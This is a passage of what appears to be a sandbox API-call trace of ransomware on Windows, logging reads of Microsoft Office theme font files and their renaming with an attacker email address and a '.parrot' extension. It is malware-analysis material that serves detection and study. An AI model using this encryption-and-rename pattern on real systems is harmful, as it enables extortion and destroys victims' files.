office\\document themes 14\\theme fonts\\office 2.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.060] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.060] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.064] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.064] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe01, lpOverlapped=0x0) returned 1 [0161.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.064] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.067] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.067] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.069] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe20, lpOverlapped=0x0) returned 1 [0161.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.072] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.073] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.088] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.088] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe1d, lpOverlapped=0x0) returned 1 [0161.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.088] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.092] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.094] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.094] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe5a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe5a, lpOverlapped=0x0) returned 1 [0161.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.094] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.098] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.099] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeed, lpOverlapped=0x0) returned 1 [0161.099] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.103] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.104] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.104] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe2c, lpOverlapped=0x0) returned 1 [0161.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.105] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.108] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.110] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe0f, lpOverlapped=0x0) returned 1 [0161.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.114] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.114] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.116] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.116] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe7f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe7f, lpOverlapped=0x0) returned 1 [0161.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.116] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.120] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.121] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.122] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe18, lpOverlapped=0x0) returned 1 [0161.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.122] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.130] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.130] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.132] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xee9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xee9, lpOverlapped=0x0) returned 1 [0161.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.136] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.136] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.138] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe13, lpOverlapped=0x0) returned 1 [0161.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.142] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.143] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeff, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeff, lpOverlapped=0x0) returned 1 [0161.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.147] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.149] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe20, lpOverlapped=0x0) returned 1 [0161.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.153] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.153] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.155] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe19, lpOverlapped=0x0) returned 1 [0161.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.163] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.165] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe14, lpOverlapped=0x0) returned 1 [0161.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0161.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0161.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0161.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), 